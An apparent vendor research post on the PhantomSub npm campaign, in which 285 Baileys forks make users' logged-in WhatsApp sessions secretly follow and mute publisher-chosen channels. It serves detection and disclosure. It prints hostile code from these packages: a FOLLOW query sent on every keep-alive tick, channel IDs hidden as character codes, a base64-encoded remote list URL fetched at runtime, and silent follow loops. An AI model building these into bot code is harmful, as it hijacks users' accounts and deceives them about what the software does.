CyberXYZ research:
285 PhantomSub packages on npm not in any earlier report

What CyberXYZ found

Everything in this section is CyberXYZ research, measured on 26 and 27 October 2026. The campaign was found by others; the credit section below says who.

On 26 October 2026 we counted 323 npm packages that follow WhatsApp channels covertly (how we found them). We compared each name with every package named in SafeDep's, Xygeni's and OX's write-ups, and with OSV. 35 of the 323 appear in at least one of the three write-ups. Of the other 288, 3 already had an OSV record. That leaves 285 packages that no earlier report named and OSV did not have.

Most of them are not recent. By the date each package name first appeared on npm:

• 246 were published before SafeDep's first report on 10 August 2026. The oldest, gifted-baileys, dates from 22 August 2024.
• 2 appeared between SafeDep's report and OX's on 28 September 2026.
• 37 appeared after OX's report.

The date is when the package name was first published on npm, not when the follow code was added. On 27 October 2026 we read every published version of the 285 packages: 876 versions carry the covert follow, and 875 of them have a publish time on npm. Most were already on npm before the first report:

The variants, the 11 list repositories, the detector and the reports to OpenSSF described below are also ours.

How the count grew, step by step

We did not start with 285. The count grew over two days as we read code, swept the registry and filed reports. These are our numbers at each step.

• Oct 26, 2026 Hand-read the Baileys forks on our own list: 69 fork versions read by hand: 38 covert versions in 23 packages, and 31 versions of Baileys feature forks that do not follow covertly.
• Oct 26, 2026 OpenSSF pull request #1666 filed: 23 PhantomSub packages in #1666, plus 13 packages from other campaigns.
• Oct 26, 2026 Detector built and measured: 38 of 38 covert versions found, 0 of 31 feature forks, 0 of the last 30 official releases.
• Oct 26, 2026 Sweep 1: every Baileys fork we had scanned, plus the latest release of the 4,144 names npm search returns: 4,448 versions read, 395 versions in 352 packages flagged.
• Oct 26, 2026 Sweep 2: every scanned fork by its file layout: 67 more versions read, and 19 more covert versions in 6 packages. 5 of those packages already had other versions flagged in sweep 1; 1 was new. Running total: 414 versions in 353 packages. The 38 hand-read covert versions are all among them.
• Oct 26, 2026 Filters: forks that document the follow and have a working off switch removed: 30 packages and 50 versions (40 from sweep 1, 10 from sweep 2), leaving 364 versions in 323 packages. Named in no earlier write-up: 288. And no OSV record: 285.
• Oct 27, 2026 Every published version of the 285 read: 876 covert versions; the sweeps had seen 364 versions across the 323 packages.
• Oct 27, 2026 OpenSSF pull request #1666 made exact: explicit versions only, and 10 more @denzz221/baileys versions: 23 PhantomSub packages, 44 versions, in #1666.
• Oct 27, 2026 OpenSSF pull request #1674 filed: 258 packages and 818 versions in #1674. 4 packages are not reported because their follow cannot reach a real channel: 281 of the 285 reported.

The version count grew the same way: 395 versions flagged by the first sweep, 414 after the second (the 38 hand-read covert versions are all among them), 364 after removing the 50 versions of documented forks, and 876 once we read every published version of the 285.

Who found the campaign, and what they published

We did not discover this campaign. SafeDep's Kunal Singh reported it first, on 10 August 2026, in Baileys npm forks farm WhatsApp Channel followers: 82 Baileys forks across 375 versions, 15 libsignal-node impersonators, and the follow-then-mute pattern driven by a list on GitHub. On 18 September, Xygeni's Fátima Said took apart one fork that fetched its targets from GitHub 80 seconds after loading.

On 28 September, OX Security's Nir Zadok, Moshe Siman Tov Bustan and Vitalii Chepurko named the campaign in PhantomSub: malicious npm campaign secretly adds users to WhatsApp spam channels. They listed 101 packages, 16 of them already removed, with about 490,000 downloads, 116,000 of them in the previous 30 days. They sorted them into three variants: 19 packages that fetch the channel list from GitHub, 60 with channel IDs in cleartext, and 14 with base64-encoded IDs or invite codes. They also found that 32 channels are followed by more than one package. Amazon Inspector then filed MAL-2026-17342 for @bellaxchuu/belbails 1.0.1, published 8 October 2026 and crediting Amazon Inspector and OX Security. It describes "a large family (100+ identified as of September 2026)".

Between them, the three write-ups name 173 Baileys forks, plus SafeDep's 15 libsignal-node impersonators. The campaign, the mechanism, the name and those packages are theirs. The 285 packages, the variants and list repositories, the detector and the reports to OpenSSF described in this post are ours.

• Aug 10, 2026 SafeDep reports 82 Baileys forks (375 versions) and 15 libsignal-node impersonators: a follow and mute driven by a remote list on GitHub.
• Sep 18, 2026 Xygeni analyses @dappaoffc/baileys-mod: a follow 80 seconds after load, with targets fetched from GitHub.
• Sep 28, 2026 OX Security names the campaign PhantomSub: 101 packages, three variants, shared channels and remote-list IOCs.
• Oct 8, 2026 Amazon Inspector files MAL-2026-17342, with the protocol detail of the follow and the ways the family hides its targets.
• Oct 26, 2026 CyberXYZ: 285 packages that no earlier report named and OSV did not have, the keep-alive and README variants and 11 new list repositories; 23 packages reported to OpenSSF in pull request #1666.
• Oct 27, 2026 CyberXYZ: every published version of the 285 read (876 carry the covert follow); 258 more packages reported to OpenSSF in pull request #1674.

How it works

This part is as OX and the OSV record describe it, and we confirm it. A PhantomSub package is a fork of Baileys. When the user's WhatsApp session connects, injected code sends WhatsApp's w:mex FOLLOW query (query_id 7871414976211147) for channels the publisher chose, through the user's own logged-in session. Some forks also send MUTE, so the channel stays unnoticed.

The code runs inside your bot, not at install time. Whoever owns the channel gains a follower from every account that runs the fork.

How we found them

What counts as covert

A version counts only when all four of these hold. Our detector applies the same test, and we applied it by hand to every sample we read.

1. The follow call. The code sends WhatsApp's w:mex FOLLOW query, directly or through newsletterFollow.
2. An automatic trigger. Something other than your own code fires it: a connection.update listener, a timer, the keep-alive, or the module loading.
3. A target the publisher chose. The channel is hardcoded, encoded, or fetched from a list the publisher controls.
4. No notice. The user is not told.

Muting the channel or hiding the target never excuses a fork; both make it worse. A fork that documents the follow and has a working setting to turn it off is excluded.

Two sweeps

The first sweep read 4,448 npm versions: the latest release of every package name that npm search returns for "baileys", "bails" and "WhatsApp socket", plus every Baileys fork our scanner had already seen. Names miss forks that call themselves something else, so the second sweep went through every fork our scanner had seen by file layout instead of by name. It read 67 more versions and found 19 more covert ones in 6 packages, 1 of them new to the count. Together, the two sweeps read 4,515 versions.

Measured before we trusted it

Before the detector shipped, we ran it against three sets of versions we had already judged by hand:

• 38 of 38 covert versions we had read by hand were flagged.
• 0 of 31 Baileys feature forks that do not follow covertly were flagged.
• 0 of 30 of the last 30 releases of the official @whiskeysockets/baileys were flagged.

We also read samples by hand: the 38 covert versions above, and every package whose code appears in this post.

What the two sweeps found

364 versions in 323 packages follow channels covertly. 18 of the 323 packages had an OSV record on 26 October 2026; 305 did not.

• 188 versions hide the targets, encoded or fetched at runtime from a list.
• The other 176 name them in plain code, with no notice to the user; some of these also mute the channels right after following them.

For most names the first sweep read only the latest release, so older versions are not in the 364.

Every version of the 285

On 27 October 2026 we read every published version of the 285 packages from the registry: the 1,084 published versions of the 262 packages in the second batch (the 258 in pull request #1674 and the 4 we did not report), plus all versions of the 23 in pull request #1666. 876 versions carry the covert follow code:

• 818 in the 258 packages of pull request #1674;
• 44 in the 23 packages of pull request #1666;
• 14 in the 4 packages we did not report, whose follow code cannot reach a real channel.

One of them, @alannxds/baileys 6.2.10, was read on 26 October and has since been removed from npm. 15 of the 281 reported packages also mute the channels inside the follow loop; we checked each one in the follow code.

What we did not count

• Forks that use channel IDs only to label outgoing messages as "forwarded from a channel" (forwardedNewsletterMessageInfo). SafeDep describes one fork that does this and hides it from the account owner; our count is about the follow.
• Forks that print a notice when they follow, or that document the follow and honour a setting to turn it off. We left out 30 packages that document the auto-follow and how to switch it off.
• The official @whiskeysockets/baileys. None of its last 30 releases does this.

Variants we found in the code

We read each of these by hand. The excerpts are copied from the published packages, with their line numbers on the left.

A follow on every keep-alive

The forks described in the earlier write-ups follow once, when the session opens or the module loads, sometimes after a delay of 30 to 90 seconds. vendezuubaileys 1.0.0 does it on a timer. In lib/Socket/socket.js, line 354 starts the WebSocket keep-alive setInterval. Under the comment "send a keep alive request", lines 368 to 385 send the raw w:mex FOLLOW query (query_id 7871414976211147) for 120363399204776509@newsletter. It is sent on every keep-alive tick, not once. Lines 355 to 365 and from 386 on are not shown.

354          keepAliveReq = setInterval(() => {
366              } else if(ws.isOpen) {
367                  // if its all good, send a keep alive request
368                  sendNode({
369          tag: "iq",
370          attrs: {
371            id: generateMessageTag(),
372            type: "get",
373            xmlns: "w:mex",
374            to: S_WHATSAPP_NET
375          },
376          content: [
377            {
378              tag: "query",
379              attrs: {
380                query_id: "7871414976211147",
381              },
382              content: new TextEncoder().encode(
383                JSON.stringify({
384                  variables: {
385                    newsletter_id: "120363399204776509@newsletter",

A README that denies the follow

@kasabaileys/baileys 2.0.1 tells you in its README that it is built "with a focus on clarity and safety" and has no auto-follow (lines 34 to 37, list emojis removed):

34  This fork designed for production use with a focus on clarity and safety:
35  
36  - No obfuscation. Easy to read and audit.
37  - No auto-follow channel (newsletter) behavior.

In its newsletter code, a comment says the opposite ("saat" is Indonesian for "when"), and the lines after it follow 120363431179022660@newsletter as soon as the connection opens:

53      // Auto follow newsletter saat connection open
54      const KASABAILEYS_NEWSLETTER = '120363431179022660@newsletter';
55      sock.ev.on('connection.update', async ({ connection }) => {
56          if (connection === 'open') {
57              try {
58                  await executeWMexQuery({ newsletter_id: KASABAILEYS_NEWSLETTER }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
59              } catch (_) {}
60          }
61      });

A "clean fork" that is not

baileys-clean 7.3.2 and habibih-bailys 7.3.2 ship the same lib/Socket/newsletter.js. Their README, in Indonesian, promises "all features, without backdoor and without hidden auto-follow" (our translation of line 3, shown from its second clause). It lists newsletterAutoFollowSilent as removed, and under "Auto-Follow Saluran Owner (Transparan)", meaning "auto-follow of owner channels (transparent)", describes a follow of four owner channels that you call yourself with autoFollowOwnerChannels(true):

 3  ...semua fitur lengkap, **tanpa backdoor dan tanpa auto-follow tersembunyi**.
62  ## Auto-Follow Saluran Owner (Transparan)
70      await sock.autoFollowOwnerChannels(true)

The package has no function by that name. It does have newsletterAutoFollowSilent, invoked immediately, which registers a connection.update listener that follows the four "ownerChannels" in a loop 15 seconds after the session opens, then runs the loop again every 60 seconds (lines 224 to 247):

224          newsletterAutoFollowSilent: (() => {
225              let activeInterval = null;
226              sock.ev.on('connection.update', ({ connection }) => {
227                  if (connection === 'open') {
228                      if (activeInterval) clearInterval(activeInterval);
229                      setTimeout(() => {
230                          const ownerChannels = [
231                              '120363421412174731@newsletter',
232                              '120363406225530257@newsletter',
233                              '120363419318051000@newsletter',
234                              '120363408101167880@newsletter',
235                          ];
236                          const runLoop = async () => {
237                              if (!sock.ws.isOpen) return;
238                              for (const id of ownerChannels) {
239                                  try {
240                                      await newsletterWMexQuery(id, QueryIds.FOLLOW);
241                                      await new Promise(r => setTimeout(r, 3500));
242                                  } catch (err) {}
243                              }
244                          };
245                          runLoop();
246                          activeInterval = setInterval(runLoop, 60000);
247                      }, 15000);

SafeDep's list already includes baileys-clean 7.3.2. What its README claims, and the code that contradicts it, are what we add.

Eleven remote channel lists not in the published IOCs

Remote lists let a publisher change targets without publishing a new version. Each list in appendix B was fetched by one package in our set, and none appears in the IOCs of OX, SafeDep or Xygeni. Three are repositories named Screaper under other accounts, the same name as the skyzopedia list Xygeni and OX reported. We also found canta-baileys fetching from the FallEzz/baileys-corp repository, which OX already listed.

Known tricks, new packages

These use techniques others have already described, in packages the earlier write-ups do not list. All of them are among the 285.

Character codes

@alzx7z/baileys 2.0.8 builds its channel IDs from character codes with String.fromCharCode, so no channel ID appears in the source, and follows each one 90 seconds after the module loads. In lines 106 to 118, 49, 50 and 48 are the character codes for "120", how every channel ID starts, and 64 is "@". Amazon Inspector's OSV record lists char-code arrays among the family's tricks, and SafeDep showed the same method hiding an advertising URL.

106  const asciiDecode = (arr) => arr.map(e => String.fromCharCode(e)).join('');
107  
108  setTimeout(async () => {
109      try {
110          await newsletterWMexQuery(
111              asciiDecode([
112                  49,50,48,51,54,51,52,48,56,56,50,51,52,53,56,48,55,
113                  64,110,101,119,115,108,101,116,116,101,114
114              ]),
115              Types_1.QueryIds.FOLLOW
116          );
117      } catch {}
118  }, 90000);

The list URL itself in base64

@bmbxmd/baileys 2.5.8 decodes its list URL from base64 to hxxps://files[.]gifted[.]co[.]ke/file/chJids.json (line 44), then sends the raw FOLLOW query for every channel in it. OX showed the same trick in @rixxcodex/baileys, and listed that host.

41      setTimeout(async () => {
42          try {
43              const fetch = require('node-fetch');
44              const url = Buffer.from("aHR0cHM6Ly9maWxlcy5naWZ0ZWQuY28ua2UvZmlsZS9jaEppZHMuanNvbg==", 'base64').toString();
45              const response = await fetch(url);

Comments that say what it is

reyz-baileys and reyz4you-baileys-v1 label it in index.js: "FITUR AUTO JOIN CHANNEL (SILENT)", Indonesian for "auto join channel feature (silent)". The log lines around it say only that the system is starting. r-baileys 1.0.0 puts // support saya hhe :v ("support me hehe") above a list it follows 10 seconds after load.

19      // FITUR AUTO JOIN CHANNEL (SILENT)
20      sock.ev.on('connection.update', async (update) => {
21          const { connection } = update;
22          if (connection === 'open') {
23              console.log('\x1b[36m[Reyz4YouXGod Baileys Engine]\x1b[0m: System starting...');
24              const listChannels = [
25                  '120363421096003443@newsletter',
26                  '120363405947742419@newsletter'
27              ];
28              for (const id of listChannels) {
29                  try {
30                      await new Promise(r => setTimeout(r, 8000));
31                      await sock.newsletterFollow(id);
32                  } catch (e) {}
33              }

The channels that collect the most

As OX put it, a shared channel means a shared beneficiary: whoever owns it collects followers from every package that targets it. Across every version of the 285, the most-shared channel is 120363420757607688@newsletter, followed by 10 packages; no earlier IOC list names it. Five more channels are followed by 7 each. OX's most-reused channel, 120363400911374213@newsletter, is followed by 6 of the 285. In the 258 packages of pull request #1674 alone, we extracted 303 distinct channel IDs and 5 invite codes. The most-shared channels are in appendix B.

Who installs them and what they pull in

Downloads

npm counted 93,901 downloads of the 285 packages in the last 30 days (read on 27 October 2026), and every one of the 285 had downloads. The most downloaded were @kyuu2nd/baileys (5,239), @denzy-official/baileys (4,553), @bellachu/baileys (3,946), @zeppeliorg/wbails (3,628), @langitdeveloper/baileys (3,204), @aboutdisz/baileys (2,462), @skycodee/baileys (2,082), and @fadelsm/baileys (1,877).

Reachability

No package in CyberXYZ's dependency graph depends on any of the 285, directly or transitively: none of its 12,197,253 dependency edges and 7,938,449 reachability rows has one of them as a dependency or as a reachable package. deps.dev, queried on 27 October 2026, answered for 270 of them and shows a dependent for only 4: @fadzzzslebew/baileys, gifted-baileys, reyz-baileys and yagami-baileys, one dependent each. These packages are installed directly by people building WhatsApp bots, not pulled in through other packages.

What they depend on

They pull in the standard Baileys stack: pino (285 of the 285), @hapi/boom (283), ws, protobufjs, async-mutex and music-metadata (281 each) and libsignal (258). One, astrabail, also depends on @saazkira/libsignal-node, a libsignal impersonator that OSV lists as malicious (MAL-2026-17836). 25 others depend on forks of libsignal published under other names, such as libsignal-xeuka and @skycodee/libsignal; OSV has no record of those, and we have not analysed them.

Operator groups

Linking packages that follow the same channel, invite code or list URL gives 150 groups. 38 groups of two or more packages hold 173 of the 285, and the largest group has 35 packages. 120 targets are shared by two or more packages. A shared target means a shared beneficiary: whoever owns it collects the followers from every package in the group.

How to check your project

With xyz Scanner, run xyz audit npm. It checks the npm packages on the machine against our malicious-package list (see the docs). For a single package, look it up in CyberXYZ Check, for example cyberxyz.io/check?q=vendezuubaileys.

To look for yourself, find every Baileys fork in node_modules, meaning any package that ships lib/Socket/newsletter.js whose package name is not @whiskeysockets/baileys, and search its lib/ for the follow call. The loop reads each package's real name, so a fork installed under an alias is still caught.

find node_modules -path '*/lib/Socket/newsletter.js' | while read -r f; do
  d="${f%/lib/Socket/newsletter.js}"
  name=$(node -p "require('./$d/package.json').name")
  [ "$name" = "@whiskeysockets/baileys" ] && continue
  echo "== $name ($d)"
  grep -rn --include='*.js' -E '7871414976211147|QueryIds\.FOLLOW|newsletterFollow\(' "$d/lib" | cut -c1-160
done

No output means no fork was found. A hit inside the newsletterFollow function is normal: that is the call your own code makes. A FOLLOW anywhere else, such as inside a connection.update listener, a timer or the keep-alive, is the sign to look for. Open the file at that line and see which channel it follows. We tested the loop in bash and zsh on a project holding the official package and three forks from this post, one of them installed under an alias. It skipped the official package and printed the extra FOLLOW in each fork.

What CyberXYZ does about it

CyberXYZ scans npm packages as they are published. Since 26 October 2026 the detector described in the method looks for this exact behaviour on every new release.

What a detection does depends on your policy. Under the standard policy, CyberXYZ Proxy blocks known malware: a package with an OSV malicious-package record, or one our analysts have confirmed. Automatic detections like this one raise an alert, and block for organisations that choose a strict policy.

Our analysts read 40 of the 285 packages by hand and confirmed them, so those block under the standard policy too. On 30 October 2026, CyberXYZ Check returned block for vendezuubaileys 1.0.0, @kasabaileys/baileys 2.0.1 and baileys-clean 7.3.2. On the same day, every one of the 285 package reports showed the detection: 40 confirmed by our analysts and 245 automatic.

OSV IDs for the packages we reported

We reported 281 of the 285 to the OpenSSF malicious-packages database, credited to CyberXYZ: 23 in pull request #1666 (26 October 2026) and 258 in pull request #1674 (27 October 2026). The other 4 (@bellachu/baileys, @pstar7/baileys, @shadow999/baileys, @wanzdreamx/xbails) contain the covert follow code, but it cannot reach a real channel (a malformed base64 string, an empty list URL, a broken character-code transform), so we did not report them.

Every report credits CyberXYZ as the finder. OSV assigns the IDs when a pull request merges; until then they read "pending". The ID for each package goes next to it in appendix A.

Supply-chain risk analysis

Mapped to MITRE ATT&CK:

Appendix A: the 285 packages

Every package below carries the covert follow code in at least one published version (all versions read on 27 October 2026), was named in none of the SafeDep, Xygeni or OX write-ups, and had no OSV record on 26 October 2026. Each links to its CyberXYZ package report. The date is when the package name was first published on npm. The last two columns give the OpenSSF pull request that reports it and its OSV ID once assigned. Oldest first.

Appendix B: indicators

Hosts are defanged. Package names and channel IDs stay plain so you can search for them. Every list host below was fetched by the package named next to it, from our extraction on 26 October 2026.

Protocol

Remote channel lists not in the published IOCs

Lists OX already published, fetched by new packages

Most-shared channels

Packages described in this post